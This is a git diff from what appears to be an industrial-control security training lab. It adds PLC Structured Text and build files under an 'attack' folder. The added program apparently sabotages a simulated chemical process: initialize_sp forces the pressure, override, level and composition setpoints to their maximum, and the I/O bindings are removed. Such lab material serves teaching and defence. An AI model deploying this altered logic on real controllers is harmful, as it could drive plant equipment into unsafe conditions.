+ pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include 